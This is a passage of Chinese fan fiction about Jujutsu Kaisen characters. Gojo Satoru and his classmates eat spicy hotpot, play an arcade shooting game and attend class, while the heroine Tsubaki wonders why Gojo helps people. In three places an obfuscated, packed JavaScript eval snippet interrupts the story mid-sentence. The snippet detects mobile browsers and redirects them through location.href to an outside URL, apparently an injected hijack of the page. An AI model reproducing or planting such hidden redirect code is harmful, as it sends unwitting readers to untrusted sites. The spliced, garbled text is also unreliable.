小学生就是有精力。 10. 火锅 “……咒具是蕴含咒力或特殊规则的法器,其作用远远超过普通物理攻击,有多种分类,攻击型、防御型、辅助型、规则型和寄生型,各自的作用都不一样。” 夜蛾老师的声音在教室里平稳地回荡,但雾岛椿的注意力早已飘远。直到“咒具”这个词钻进耳朵,她才猛地回神。几个月前,这些基础知识对她这个咒术小白来说还很新奇,现在却只剩枯燥。 难怪五条悟从来不好好听讲。接下来还有数学、国语和英语。 雾岛椿想起之前被关在房间强制教学的场景,日复一日,只要不是病到卧床不起的地步都要爬起来学,很烦,很恶心,为什么非要学这种东西不可? “……椿?” “……椿。” 熟悉的呼唤将她从令人不快的回忆中拉扯出来。雾岛椿抬起眼,对上了三双神情各异的眼睛。 是硝子,她正坐在对面,一脸担忧地看着她。硝子旁边是同样担心的夏油杰和……弯腰凑她凑的很近的悟,或许是因为她很少出神,所以五条悟像发现了新奇事物一样一脸探索地看着她。 “你怎么了?脸色不太好哦。”家入硝子关心道。 雾岛椿下意识就要摇头,五条悟先一步打断她,用调笑的语气。 “哦~我知道了,一定是上次打游戏输给我了,一直心有不甘吧?”五条悟双手叉腰,神气洋洋,“上课不会一直在想怎么赢我吧?” “嘛~嘛~毕竟我一直都很强啊,你又不是没有赢过我,何必在意这一次的输赢呢?”这话说的狂傲极了,听起来像是如同施舍般的安慰,还是自顾自的那种。 然而还没等他多嚣张两秒,夏油杰就笑眯眯地拆台,“是啊雾岛,别太在意。倒是某个人上次输给你后,通宵练了两个晚上游戏呢。” “那不是用来来练手的,那纯粹是个人爱好,个人爱好你懂吗?”五条悟见他不留情面戳穿自己瞬间炸毛,他伸出手指戳着夏油杰的胸膛,表情完全垮了下去,一本正经地否认道,“你这是造谣!” 只控诉他一个人似乎不够,五条悟还委屈着一张脸转头看着雾岛椿,向她寻求认同,“椿你跟我交过手应该最明白了吧,我本来就很强啊。” 完全不知道话题是怎么带歪的,但雾岛椿心里不由自主松了口气,她盯着五条悟那双蓝眼睛,点了点头,“悟打游戏确实很强——”顿了顿,她心里突然突然想逗一逗眼前这个少年,于是煞有其事地说,“不过为了更强就算私下练习也情有可原。” 她的态度明显就是认可了夏油杰的说法。 “哈啊?”五条悟面上依旧是不想承认的样子,但语气已经弱了很多,“都说了那只是我的个人爱好啊……”越说音量越小,显然他也认为到这个地步已经没什么好辩驳的了。 但他态度还是没改变,下颚微抬,虽然不再辩驳但依旧坚持自己的想法,可能是觉得输人不输阵,只不过雾岛椿惊讶地发现他耳垂似乎染上了一层薄红。 她紧盯着那抹快要消失殆尽的薄红和五条悟撅着嘴略有些躲避的视线,居然因为这么一点小慌被人识破就感到羞耻吗? 雾岛椿饶有兴致地观察着他罕见的窘态。没想到随口一句调侃就能让最强咒术师露出这种表情。 他到底在想什么?雾岛椿真的很好奇,难道他从小到大没撒过慌吗? 试图理解他的脑回路无果,她放弃了。 只是觉得,这样的他有点说不出的可爱。 “那我们今天还打游戏吗?”雾岛椿轻轻揭过前面那个插曲。 “呜哇!”五条悟一脸诧异地看着她,嘴张的很夸张,“椿你居然主动提出要打游戏?”要知道之前都是他死皮赖脸让她陪着他玩的。 “嗯,突然就很想玩了。”雾岛椿一直以为自己对游戏没兴趣的,即便前面打了那么多次依旧没兴趣,输赢也无所谓,但现在就是突然很想玩。 “既然这样我们去游戏厅玩吧?刚好有休息日。”家入硝子趁机提出,“还可以到外面聚聚餐。” 夏油杰嘴角勾起一抹坏笑,把主意打到身旁好友的身上,“刚好,让悟请客吧,他有钱。” “哈啊?”五条悟措不及防就欠了一顿饭,他很不满,但看着椿和硝子期待的眼神,也只是象征性地抓了两把头发,表现出很无奈的样子,“可以啊,但杰那份自己付。” 五条悟嚣张地看着夏油杰,嘴角扯开一个邪笑,眼里充满狡黠。 夏油杰:“……喂!” …… 东京某家以“地狱级麻辣”著称的中式火锅店 店内的红灯笼投下暖光,空气里弥漫着呛人的花椒和牛油香气。一口巨大的鸳鸯锅在桌中央沸腾,一边是奶白色的菌菇汤,另一边则是翻滚着猩红辣椒和密密麻麻花椒的“地狱红汤”。 五条悟大手一挥,脸上写满了“既然是最强请客当然也最阔”的嚣张,“随便点!今天就让你们见识下什么叫真正的‘大人の味觉’!” 夏油杰笑眯眯地接过菜单,指尖精准地划过最贵的几样肉菜,语气温和,“悟,你确定吗?这里的辣度据说很出名。” 家入硝子也提醒道:“你一个甜党真的能吃辣吗?” 就连雾岛椿也跟他有着不同意见:“悟,来之前我就打听过了,真的超级~辣哦。”她甚至夸张地加重了超级两个字,就是想让他知难而退。 “哈?辣味不过是弱者味蕾的刺激罢了~”五条悟对她们如此不信任的态度不满极了,虽然以前没怎么吃过辣,但依旧挡不住他狂傲的气势,“难道,你们怕了?” 夏油杰勉强地笑着,阴恻恻地反驳:“当然不。” 硝子抖了抖肩,没把他挑衅的话当一回事,早就猜到他会是这个倔强的样子,要是能被她们劝动,那就不是五条悟了。 “稍微……有点?”只有雾岛椿没把他的挑衅当挑衅,而是老老实实地承认。 毕竟她以前也没吃过辣,应该会适应不了。 “哦?”五条悟扬起一个得逞的笑容,但还是询问她,“那……番茄锅,能吃吗?”他摆出一副“既然你已经提前认输了那我就不为难你”的样子。 雾岛椿点点头。 “老板,鸳鸯锅!红汤锅底,要最辣的那个!另一半要番茄锅底。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427788|184871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 五条悟拍着桌子,引来隔壁桌的侧目。 但他丝毫没被别人的视线影响,脸上的难掩的兴奋,大概是把辣椒当成假想敌来挑战了,因为大家都知道他嗜甜如命,潜意识都会认为他吃不了辣。 今天,五条悟就要向她们证明他就是全能的! 谁说甜党不能吃辣? 家入硝子懒洋洋地托着腮,另一只手玩着筷子,“哦?那我可要点特调酸梅汤了, double 份,反正有人付钱。”她已经预见到了结局。 雾岛椿看着五条悟跃跃欲试的样子,轻声提醒:“悟,菜单上说这个‘阎魔辣度’需要签免责协议……” 因为之前有人被辣进了医院。 “那种东西形同虚设啦~”五条悟显然没当回事,满不在乎地摆手,“最强怎么可能被辣椒打败!” 菜很快上齐,红汤翻滚,散发出几乎肉眼可见的灼热诅咒般的气息。 五条悟率先夹起一片厚厚的和牛,在红汤里涮了足足十秒,裹满了辣椒籽和红油,然后豪气干云地塞进嘴里。 一瞬间,世界安静了。 他的动作凝固了。 那双能看穿世间一切咒力流动的“六眼”,此刻仿佛失去了焦点。白皙的皮肤以肉眼可见的速度从脖子红到了耳尖,雾岛椿能清晰地看到他那被生理性泪水沾湿的眼眶。 “噗——”一声轻微的漏气声,是他试图维持形象失败的前奏。 “……水。”一个短促、扭曲、几乎变调的音节从他喉咙里挤出来。 夏油杰的笑容变得无比真心实意,他慢条斯理地舀了一碗冰镇的绿豆汤推过去,“悟,看来‘最强’的称号今天要暂时让给辣椒了。” 硝子立刻拿出手机,冷静地开始录像,“五条,说点什么?比如‘辣,但很好吃’?”她的语气平淡得像在记录临床反应。 五条悟一把抓过绿豆汤灌下去,结果喝太急呛到,咳得惊天动地,眼泪终于不受控制地飙了出来。他猛地抽了张雾岛椿递过来的抽纸,擦拭着那双泛着生理性泪光的苍蓝色眼睛,平日里睥睨众生的气势荡然无存,只剩下被辣椒正面击溃的狼狈。 “咳咳…这…这不是辣!这是诅咒!是攻击!是针对我的特级咒灵攻击!”他试图挽回尊严,但嘶哑的嗓音和红透的鼻尖毫无说服力。 雾岛椿默默地将一整壶酸梅汤都挪到他手边,眼神里带着一丝不易察觉的同情和好笑,“悟,需要我帮您要点牛奶吗?听说解辣更有效。” 她早就猜到会是这样的结果,毕竟从他的语气中大概能推测出他和自己一样,根本没吃过辣,才会如此大言不惭,更何况因为他的术式原因,他大概吃了很久的甜食,并且还是比别人还多放了很多倍糖分的甜食。 舌头长期处于充满糖分的情况下,应该是比她还不能吃辣的。 虽然猜到了,但是他的反应还是产生了极大的反差,特别是和他先前的嚣张相比。 最强还真的害怕辣椒,总感觉有点地狱。 “要!”五条悟几乎是抢过了壶,然后又觉得有失风度,强撑着补充,“……我是说,可以来点。” 11. 调戏 接下来的时间,变成了五条悟的受难秀。 他固执地不肯认输,每隔几分钟就试图再次挑战红汤,然后重复“入口→凝固→崩溃→狂灌饮料”的循环。夏油杰全程保持着愉悦的微笑,愉快地涮着清汤锅,偶尔“不小心”把红汤里的菜夹到五条悟碗里。硝子则敬业地记录着“最强咒术师败给辣椒的十大瞬间”,并表示回头要发给二年级的大家“学习观摩”。 雾岛椿相比其他两个幸灾乐祸的同期,明显温柔多了,笑着给五条悟递牛奶和纸巾。 最后,五条悟瘫在椅子上,额头抵着冰凉的酸梅汤壶壶壁,嘴唇微微肿起,像只被打败的大型猫科动物,发出含糊不清的嘟囔,“……这家店…被我拉黑了…” 夏油杰优雅地擦擦嘴:“多谢款待,悟。下次聚餐,还是让我选地方吧。” 硝子收起手机:“同意。不过托你的福,今晚的娱乐效果是特级的。” 雾岛椿看着难得吃瘪、显得有点孩子气的五条悟,轻轻笑了笑,将最后一片在清汤里涮好的肉夹到他面前的碟子里。 “悟,即使是输给辣椒你也还是最强啊,最强不需要别人的认可。”更何况是这种不足挂齿的事情。 她嘴角勾起一抹轻笑,眼里充满澄澈,看起来在很认真地安慰,结果听了她的话的五条悟又闹了个大红脸。 不要再提他输给辣椒这件事了,这让最强的面子往哪里放?! 五条悟薄红的脸在他白皙的皮肤上尤为明显,完全逃脱不了雾岛椿的眼睛,她也不像要放过他的样子。 “呜哇!”,她捂着嘴惊讶道,“悟你的脸和辣椒一个颜色了哦。” 一旁的夏油杰和家入硝子默默对视了两眼,显然没想到雾岛椿也会有如此腹黑的一面。 没纠结多久,她们便在心里为雾岛椿点了个赞,捉弄人这一块,还是平时默不作声的她比较擅长。 然而作为被捉弄的主人公五条悟反应明显没有两个看客松弛,他额角被气得突突直跳,但看着雾岛椿的笑脸,也只是默默转过头,用后脑勺对着她,嘴里时不时咕噜几句话,大概是他以后再也不会碰辣椒的意思。 出糗的五条悟根本没意识到,他的同期根本都没有吃变态辣那边的锅底,只有他一个人在固执地挑战辣椒。 他就这么用后脑勺表示抗议,毛茸茸的大脑袋全然暴露在雾岛椿眼里。 椿的注意力全被毛茸茸的后脑勺吸引,根本没在关注五条悟耍脾气的小情绪,此刻她的心里只剩下感慨: 好圆好饱满的头,好想摸摸看。 这个念头一出,她才惊觉,自己似乎变了——居然会主动捉弄人,只为了看对方的有趣反应。 这算是在调戏他吗? 她暗自好笑。原来自己还有这样的一面。 五条悟在椅子上瘫了几分钟,忽然一个鲤鱼打挺站了起来。他甩了甩那头显眼的白发,迈着长腿朝柜台走去,嘴里故意用周围人都能听见的音量哀叹: “啊~啊~就算被欺负成这样,最后付钱的还是我啊……” 他对着收银台后的小姐姐露出一个恰到好处的委屈表情,那双苍蓝色的眼睛在灯光下显得格外无辜。修长的手指从钱包里抽出现金时,动作刻意放慢,仿佛一个被同伴压榨的老实人。 柜台小姐姐接过钱,眼神狐疑地投向雾岛椿那一桌。店里其他客人也被这一幕吸引,目光在五条悟那张帅得过分的脸和那边三个“罪魁祸首”之间来回扫视。 当人们的视线掠过扎着丸子头、戴着黑色耳扩的夏油杰,再对比一下嘴唇微肿、独自付账的五条悟时,目光渐渐从疑惑转为谴责——分明是在谴责他们集体霸凌这个“老实”帅哥。 她们指责的眼神让雾岛椿不禁暗叹:这张脸果然到哪里都是武器。 一个假装的表情足以让人为他冲锋陷阵。 最可怖的是,就连明知五条悟的委屈是装出来的她,都开始有点谴责自己了。 就是单纯觉得,不应该让那张脸露出如此委屈的表情。 或许,在他非要挑战辣椒的时候,她可以试着劝阻一下的。 家入硝子实在看不下去这拙劣的表演,趁五条悟还没回来,一把拉住雾岛椿的手腕,“太丢人了,快溜!” 两人迅速起身离席,留下夏油杰一个人面对四面八方投来的指责目光。夏油杰嘴角抽搐,“……喂!等等我啊!” 与落荒而逃的三人形成鲜明对比,五条悟慢悠悠地晃出店门,嘴角挂着得意的笑,简直像只偷腥成功的猫。 “等等,硝子,”雾岛椿喘着气停下脚步,“我们不等他们吗?” 硝子刚要说些什么,身后就传来熟悉的声音。 “跑这么快,是不想吃草莓巴菲了?”五条悟晃着手中的甜品,脸上挂着恶劣的笑容,“再不过来我就吃光了哦。” 夏油杰站在他身旁,无奈地耸肩:“悟买了四份。” 硝子立刻没志气地转身伸出手:“谢谢。” 五条悟爽快地将一份递给她,但当雾岛椿伸手时,他却突然将巴菲举高——以他的身高,雾岛椿根本够不到。 “悟,你真幼稚。”雾岛椿仰头看着他得意洋洋的脸。 就在五条悟笑得越发张扬时,他手中的巴菲突然消失——下一秒直接出现在雾岛椿手中。 “诶?”五条悟愣住了。 夏油杰也收起看戏的表情,惊讶地挑眉。 “轻松到手~”雾岛椿露出一个真心的笑容,虽然转瞬即逝,“谢啦。” 看着两人惊讶的表情,她歪着头问,“你们不知道吗?我的术式可以结合空间使用幻术。之前那个防御术式就是把咒灵送进了虚拟空间。” 她转向夏油杰,语气带着歉意:“抱歉,夏油,那个咒灵我暂时没法还给你,这个术式我还不太熟练。” 目前的水准只可以简单地扭曲一小部分空间,变换成手,然后趁五条悟大意的时候夺走他手里的草莓巴菲。 夏油杰刚要开口,就被五条悟兴奋的惊呼打断,“呜哇!椿你果然超——厉害!” “你放心啦,杰不会跟你计较这么多的!”他一把搂住雾岛椿的肩膀,声音里满是发现宝藏的喜悦,“我就知道六眼不会看错!你绝对是个天才!” 雾岛椿微微勾起嘴角:“没那么夸张。” “既然这么好用……”五条悟突然露出坏笑,“不如下次上课时,用这招在夜蛾脖子上画个咒灵?超——萌的那种,想象一下他转身时什么都没发现的样子,会不会以为见鬼了?” 他兴奋地举起手:“谁赞成?谁同意?” 硝子第一个响应:“我赞成,听起来很有趣。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427789|184871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >夏油杰也笑着附和:“我也赞成。” 雾岛椿看着这三个问题儿童,嘴角微微抽搐,“……到时候挨罚,你们肯定会第一个把我供出去吧?” “不会啦~”五条悟拍着胸脯保证,脸上却写着“绝对会”。 雾岛椿看着他那副样子,心里默默叹气:果然会是这样。 新宿某电玩城内。 霓虹灯牌闪烁,嘈杂的电子音与硬币哗啦声交织成一片。五条悟单手插兜,另一只手灵活地拍打着太鼓达人的鼓面,精准度100%bo引来身后一片惊呼——但他本人显然觉得这很无聊。 “喂——杰,硝子,椿~”他拉长声音,像只无聊的大型猫科动物一样晃到一台四人对战光枪游戏机前,“来玩这个!输的人负责给赢家买一个月的甜品!” 家入硝子瞥了一眼屏幕上张牙舞爪的怪物:“幼稚。”但还是被五条悟强行塞了一把光枪。 夏油杰保持着温和的微笑,熟练地拿起武器,“悟,你明知道这种游戏对我很不利。”他的术式是操控咒灵,而非射击。 五条悟反驳道:“这很公平啊,大家都没练过射击,都是第一次,你不会是怕输吧?” 眼看又要吵起来,雾岛椿安静地拿起最后一把枪,轻声打断,“规则是?” “很简单!谁活到最后谁赢!被怪物‘杀死’就出局!”五条悟已经兴致勃勃地投完了币,“Ready? Go!” 游戏开始,狰狞的异形怪物如潮水般涌来。 五条悟甚至不需要瞄准,凭借“六眼”的恐怖动态视力和反应速度,枪枪命中弱点,分数一骑绝尘。 夏油杰则采用策略,守在角落,以最小幅度的移动精准点射,效率极高。 雾岛椿的表现令人意外,她并没有疯狂开枪,而是利用最小的身法摆动躲避攻击,每次开枪都必然命中,节奏稳定得可怕。 而硝子…… “GAME OVER” 开场不到一分钟,屏幕上的医疗兵角色就被扑倒。她面无表情地放下枪,仿佛早就料到这个结果,“啊,死了。真好,可以休息了。”她淡定地走到一旁,退出激烈的争斗,完全无视了五条悟“喂你这放弃得太快了吧!”的嚷嚷。 战况变成三人混战,怪物强度和速度飙升。 五条悟一边打一边嚣张地点评:“杰!你左边漏了一个!哇哦~椿,身手不错嘛!” 夏油杰笑容不变,但额头隐约有青筋跳动:“悟,你很吵……”他正准备集中精神解决一波高速敌人,突然一个低级小怪从视觉死角慢悠悠飘过,阴差阳错地撞在了他角色的身上。 “GAME OVER” 夏油杰:“……” 五条悟爆发出惊天动地的大笑:“哈哈哈哈哈哈!杰你居然被那种杂鱼干掉了!你是今天的最佳笑料!” 夏油杰放下枪,笑容越发“核善”:“悟,我们出去谈谈体术课的事吧?” “才不要~”五条悟得意地扭过头,“我要和椿决一胜负!” 对于他下的战帖,雾岛椿也微笑回应,原本以为自己也很快就会死,没想到意外地很有天赋,并且…… 她看着五条悟那张嚣张的脸庞,觉得这个游戏越来越顺手,也越来越有趣。 想赢,她脑子里只剩下了这个念头。 12.能帮 局面变成了五条悟和雾岛椿的终极对决。怪物已经多到几乎铺满屏幕。 五条悟依旧游刃有余,甚至开始玩起了花活,背身开枪、盲射,分数疯狂上涨。他抽空瞥了一眼旁边的雾岛椿,发现她依旧保持着那种稳定到诡异的节奏,仿佛不是在玩激烈的射击游戏,而是在下一盘安静的棋。 “不错嘛椿~不过到此为止了!”五条悟准备用速度终结比赛。 然而,下一秒,他眼前的屏幕忽然恍惚了一下,原本清晰的怪物轨迹似乎出现了重影,几个关键的敌人位置产生了微妙的误判,导致他射空了几枪。 是幻术! 五条悟瞬间反应过来,椿竟然在游戏厅里对他施加了极其微弱的幻术,干扰的不是他本人,而是他对于屏幕图像的认知! “哇哦~作弊?”五条悟不怒反笑,兴奋起来,“有意思!” “六眼”全力解析,瞬间看破了幻术的干扰,真实的画面再次清晰。但就在这被干扰的短短一两秒内,雾岛椿的分数已经急速逼近! 两人分数交替上升,几乎持平!最后关头,一只巨大的BOSS出现。 五条悟和雾岛椿几乎同时瞄准了BOSS唯一的弱点。 砰!砰! 两声枪响。 屏幕上弹出最终成绩。 1st: Player 1 (五条悟) - 99990 pts 2nd: Player 4 (雾岛椿) - 99980 pts 以仅仅10分的微弱差距,五条悟险胜。 “呼——好险好险!”五条悟轻呼两声,夸张地擦了擦并不存在的汗,然后得意地揽住雾岛椿的肩膀,“不过赢的还是最强我哦!说好了,一个月的喜久福!” 雾岛椿轻轻呼出一口气,并没有太多失落,反而露出一丝淡淡的笑容,“……看来还是悟更厉害。”她刚才已经甚至用上了术式,却还是输了。 夏油杰微笑道:“看来‘六眼’在游戏厅也一样作弊。” 硝子看透了他的本质,一锤定音:“结论是,五条悟是个连游戏都必须要赢的幼稚鬼。” “这叫实力!”五条悟反驳着,心情大好地推着三人往外走,“走了走了,输家们!请我吃最高级的草莓蛋糕!现在!立刻!” 游戏机的屏幕依旧闪烁着,映照着四人离去的背影,嘈杂的厅内仿佛还残留着刚才那场不可思议的“领域对决”的余韵。 五条悟刚推着三人吵吵嚷嚷地刚走出游戏厅门口,他口袋里那只特制的手机就发出了尖锐又急促的警报声。 他脸上的笑意瞬间收敛了几分,啧了一声,有些不耐烦地掏出手机扫了一眼。 “真是的……偏偏是这种时候……”他嘟囔着,手指飞快地回复了几个字,然后抬起头,脸上又恢复了那副“真拿他们没办法”的嚣张表情,“好啦~甜品延期!有个小杂鱼需要我立刻去处理一下。” “位置很近?”夏油杰立刻捕捉到了关键,神色稍正,“需要我们一起去吗?”雾岛椿也向前微倾了身体,表示可以同行。 “不用不用~”五条悟随意地挥了挥手,仿佛只是要去街角买罐饮料,“就在隔壁街区,一个刚孵出来没多久、术式有点麻烦的小东西罢了。我一个人过去‘砰’一下就能搞定!你们跟过来反而麻烦。” 他说话语速很快,虽然透着不耐烦,但行动上却没有丝毫迟疑,开始辨认方向准备动身,“最快十分钟!你们就在这附近找个店坐着等……喂!记得帮我先点好!” 话音未落,那道白色的身影已经如同鬼魅般融入人群,几个闪烁便消失在街角,速度快得惊人。 留下的三人一时无言。 家入硝子叹了口气:“所以我说,这家伙的休息日从来名存实亡。” 雾岛椿望着他消失的方向,沉默了片刻。她完全无法理解这种随叫随到的行为,最终没忍住,带着一种纯粹的、毫不掺假的困惑低声感慨: “咒术师,真的很忙啊,随时随地,像块哪里需要就往哪搬的砖。”她的语气里没有同情,只有一种置身事外的评判。 夏油杰闻言,温和地笑了笑,试图解释,“毕竟能者多劳,而且悟离得最近,由他处理效率最高。” “能者多劳……”椿重复了一遍这个词,像是品味着什么。她忽然转过头,看向夏油杰和硝子,眼神里带着一种恰到好处的好奇,仿佛只是不经意间想起: “说起来,我好像听说……我们上面除了悟,还有一位很厉害的特级咒术师?好像是一位女士?为什么从来没见过她出任务?如果她在,悟是不是能轻松一点?” 这个问题看似随意,却像一枚细针,轻轻刺破了表面。 夏油杰脸上的微笑淡去了一些,硝子也微微一顿。空气有瞬间的凝滞。 夏油杰的声音依旧温和,但少了几分刚才的自然,“九十九小姐的情况比较特殊。她更专注于海外的调查和研究,国内的事务……基本由我们和悟来处理。” “是吗。”雾岛椿轻轻应了一声,没有再追问,只是重新将目光投向五条悟离开的方向。 她内心的不理解非但没有消解,反而更深了。 另一位特级在全球逍遥,而自称最强的五条悟却要在游戏厅门口被一个电话叫走去清理“小杂鱼”? 这算什么“能者多劳”?这分明是…… 一种无法让人理解的“亏本买卖”。 不如说,咒术师都是一群心甘情愿做着这种“亏本买卖”的疯子,明明咒灵是由普通人的负面情绪诞生的,是由人类创造出来的,为什么他们却还要保护着他们?等那些无法对抗咒灵的弱小人类被铲除干净之后,不就不会产生咒灵了吗? 五条悟想来高专是因为有趣,那被人召之即来挥之即去任劳任怨出任务也觉得有趣吗? 五条家的家主应该从小就是众星捧月的吧,这种人也能习惯被人随意差遣吗? 她纷乱的思绪被一阵熟悉的、活力过剩的嚷嚷声打断。 “哟!我回来了!我的草莓蛋糕点了没?要最贵最高级的哦。”五条悟像一阵风似的重新出现在他们面前,头发丝都没乱一根,仿佛刚才只是去上了个厕所。 他一边抱怨着“那咒灵的术式真是有够麻烦的,害我多花了三十秒”,一边毫不客气地挤进甜品店卡座,眼睛发亮地搜寻着他的战利品。 当看到那杯堆满草莓和奶油还有造型看着很高级的草莓蛋糕时,他脸上那点微不足道的不耐烦瞬间烟消云散,像个得到心爱玩具的孩子,立刻拿起勺子投入“战斗”,幸福得周围几乎要冒出小花来。刚才的紧急任务插曲,似乎没有在他心中留下任何痕迹。 雾岛椿看着他这副模样,那种割裂感再次浮现。她沉默了几秒,忽然开口,问了一个她思考已久的问题,“当咒术师,有什么好处吗?” “嗯?”五条悟从巴菲里抬起头,嘴角还沾着一点奶油,他歪头想了想,回答得漫不经心,“好处?硬要说的话……工资还行?不过我也不缺钱。” “听起来完全是亏本生意。”椿客观地评价道,“那你为什么还要当?以你的能力,完全可以像九十九小姐一样,去更‘自由’的地方吧。”她的语气里带着一丝不易察觉的试探。 五条悟挖了一大勺冰淇淋,含糊不清地说,“这个嘛……因为没想过不当咒术师啊。”他说得理所当然,仿佛这从来就不是一个需要思考的选项。 “而且自由是怎么定义的?我一直都挺自由的吧。” “可是你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16430697|184871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚才明明不想去,”椿指出,目光锐利,“为什么还是立刻赶过去了?” 五条悟的动作顿了一下,随即像是觉得这个问题很有趣般笑了起来,“为什么?因为夜蛾向我求助了,我就去了啊。” 他说的轻描淡写,仿佛这只是像“渴了就要喝水”一样简单的道理。 夏油杰也在一旁插话:“悟哪次出任务表现得很情愿了?” “就这样?”这个答案简单得让精心计算利弊的椿感到愕然。 “就这样。”五条悟点点头,注意力又回到了他的甜品上,语气轻松又自然,“求助了,能帮,所以就去了。需要更复杂的理由吗?” 他说完,便不再理会她的困惑,继续沉浸在他的甜食世界里,吃得心无旁骛,幸福洋溢。 而雾岛椿却怔在了原地。 没有宏大的理想,没有利益的驱使,甚至没有太多的情愿。 仅仅因为一句“求助”,和一句轻飘飘的“能帮,所以就去了”。 这比她所能想象的任何理由,都更让她难以理解,却又莫名地……在她那片只剩下冰冷计算的心湖中,投下了一颗微小却沉重的石子。 这理由纯粹得近乎任性,也强大得令人窒息。 在他看来,他确实是自由的。 因为心之所向,即为自由。 所以……一次又一次地在任务中悄悄为她保驾护航一次又一次挡住高层对她的迫害,这一切,也仅仅只是因为那句轻飘飘的“能帮,所以就做了”。 或许,他也是把她那些出于社交习惯、为了维持距离而说出的客套话——“这次也麻烦悟了”——当真了吧。 仔细回想,他似乎真的从未拒绝过她提出的任何要求,无论那要求听起来多么微不足道或理所当然。 圣人吗?他是。这种毫无来由、不求回报的“好”,真是让人匪夷所思,甚至……让人有些不知所措。 她本不是什么会主动依赖他人的人。 最初,也仅仅是觉得这个人、这双苍天之瞳背后一定藏着无比有趣的世界,于是便凭着一种近乎直觉的冲动,在第一次见面时就提出了过于熟稔甚至失礼的要求。 后来得知他是五条家的家主,她立刻为自己的行为找到了一个合理的解释,并将所有“麻烦”他的事,自动归类为他为招揽势力而预先支付的“筹码”。她甚至早已在心里做好了等价交换的预案——只要他开口,她就会加入五条家,留在他身边,让他看看他对她的“投资”有多么正确。 她一直是这么认为的,所以才能心安理得、顺其自然地待在他身边,享受着他带来的庇护和……生机。 高层看不惯她,她心知肚明。他们畏惧她可能成为五条悟的羽翼,不如说是畏惧所有能力比他们强的人,一直对她虎视眈眈,妄图通过任务除掉她。 上次那个被“窗”误判评级的准特级咒灵就是他们的第一次试探。 但现在,她忽然窥见了真相的一角:五条悟做这一切,或许并非出于对“潜在战力”的投资。他对她这个人本身,似乎……并无任何图谋。 这个认知让她第一次感到了真正的无所适从。 筹码消失了。交易不成立了。 那她该怎么办才好? 难道要……死皮赖脸跟着他吗? 这个念头闪过时,她自己也愣了一下。但随即,一种更清晰、更坚定的情绪涌了上来。 她不想离开五条悟身边。 只有待在他身边,感受着他那份吵闹的、蓬勃的、有时甚至惹人烦的生命力,她才能感觉自己那颗沉寂冰冷的心还在跳动,才能从他那永不枯竭的能量中汲取到一丝活着的实感。 想一直这样待下去。 死皮赖脸,也不是不行。 13.墨镜 咒术高专的数学课。午后的阳光懒洋洋地洒进来,空气中的微尘缓慢浮动。 黑板上画满了复杂的数学模型,密密麻麻的积分符号和希腊字母纠缠在一起,仿佛另一种形式的诅咒。 夜蛾正道背对着学生,用他那低沉如咒灵咆哮般的嗓音讲解着:“……因此,递减函数的原理就是……” 五条悟罕见地没捣乱,而是安安稳稳地趴在自己的桌子上,雪白的头发软软地搭在额前,他的呼吸均匀,肩膀微微起伏,显然是快要进入梦乡的边缘——对于无时无刻不在被动处理海量信息的“六眼”来说,这种纯粹由逻辑和数字构成的枯燥信息流,反而成了一种精神上的白噪音,让他罕见地感到了困倦。 粉笔在黑板上敲击的节奏,成了最好的催眠曲。 夜蛾没有回头,宽厚的后背却像是精准的雷达。他感知到了后方那缕强大咒力变得平稳迟缓,这在他课堂上是绝不被允许的懈怠。 “咻——” 一截白色粉笔如同脱弦的箭,撕裂空气,带着足以敲碎普通人颅骨的力度,精准射向五条悟的太阳穴。 就在命中前的一刹那。 “啪。” 一声微不可闻的、空间被无限压缩的轻响。粉笔头在距离皮肤几厘米处骤然停滞,仿佛撞上了一堵无形且无限厚的墙壁,瞬间被碾成一撮细腻的白粉,簌簌飘落。 五条悟连头都没抬,只是发出一声带着浓重睡意的嘟囔:“……吵死了……夜蛾……再用粉笔会秃得更快哦……” 夜蛾额角的青筋猛地暴起。他缓缓转过身,另一根完好的粉笔在他指间发出不堪重负的呻吟。 “五、条、悟!”怒吼声震得黑板上的公式都在颤抖,“用‘无下限’防御粉笔?!你的咒力是用来做这种无聊事的吗!给我去走廊清醒一下!” 五条悟这才不情不愿地支起身子,胡乱地抓了把凌乱的头发,打了个巨大的哈欠,“明明是夜蛾你先进行‘无聊’的物理攻击……而且你的数学模型第三步就简化过度了,误差会累积爆掉的……” “出去!现在!” “嗨~” --- 下课铃响,夜蛾夹着教案,带着一身低气压摔门而去。 五条悟像一滩液态猫似的瘫在椅子上,难得显露出一丝货真价实的萎靡。“啊——‘六眼’吵死了,连那种垃圾数学公式都分析得那么起劲——” “喂,五条,你该不会又通宵打游戏了吧?”硝子无语地瞥了他一眼。 回答她的只有五条悟毛茸茸的后脑勺,以及极其轻微的、规律的呼吸声。 “这次我倒要为悟说句公道话,”夏油杰笑着解释,“他罕见地没碰游戏,而是在‘钻研’数学。” 